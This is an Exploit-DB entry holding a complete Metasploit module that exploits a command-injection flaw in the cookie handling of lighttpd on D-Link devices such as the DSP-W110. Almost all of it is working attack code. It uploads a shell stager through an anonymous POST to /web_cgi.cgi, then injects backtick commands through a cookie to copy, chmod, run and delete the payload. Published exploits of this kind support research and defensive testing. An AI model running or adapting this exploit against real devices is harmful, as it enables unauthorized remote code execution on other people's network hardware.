D-Link Devices - Cookie Command Execution (Metasploit)

EDB-ID:

37628

CVE:



Platform:

Hardware

Published:

2015-07-17

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link Cookie Command Execution',
      'Description'    => %q{
        This module exploits an anonymous remote upload and code execution vulnerability on different
        D-Link devices. The vulnerability is a command injection in the cookie handling process of the
        lighttpd web server when handling specially crafted cookie values. This module has been
        successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'References'     =>
        [
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
        ],
      'DisclosureDate' => 'Jun 12 2015',
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'MIPS Little Endian',  # unknown if there are LE devices out there ... but in case we have a target
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],
          [ 'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ]
        ],
      'DefaultTarget'    => 1
      ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri'    => '/',
        'method' => 'GET'
      })

      if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Trying to access the device ...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("#{peer} - Uploading stager ...")
    @counter = 1
    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 95  # limited by our upload, larger payloads crash the web server
    )

    print_status("#{peer} - creating payload and executing it ...")

    (1 .. @counter).each do |act_file|
      # the http server blocks access to our files ... we copy it to a new one
      # the length of our command is restricted to 19 characters
      cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "chmod +x /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "/tmp/#{act_file+@counter}"
      execute_final_command(cmd)
      cmd = "rm /tmp/#{act_file}"
      execute_final_command(cmd)
      cmd = "rm /tmp/#{act_file+@counter}"
      execute_final_command(cmd)
    end
  end

  def execute_command(cmd,opts)
    # upload our stager to a shell script
    # upload takes quite long because there is no response from the web server

    file_upload = "#!/bin/sh\n"
    file_upload << cmd << "\n"

    post_data = Rex::MIME::Message.new
    post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
    post_data.bound = "-#{rand_text_alpha(12)}--"
    file = post_data.to_s

    @counter = @counter + 1

    begin
      send_request_cgi({
        'method'        => 'POST',
        'uri'           => "/web_cgi.cgi",
        'vars_get' => {
          '&request' =>'UploadFile',
          'path' => '/tmp/'
        },
        'encode_params' => false,
        'ctype'         => "multipart/form-data; boundary=#{post_data.bound}",
        'data'          => file
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end

  end

  def execute_final_command(cmd)
    # very limited space - larger commands crash the webserver
    fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
    begin
      send_request_cgi({
        'method'        => 'GET',
        'uri'           => "/",
        'cookie'        => "i=`#{cmd}`"
      }, 5)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end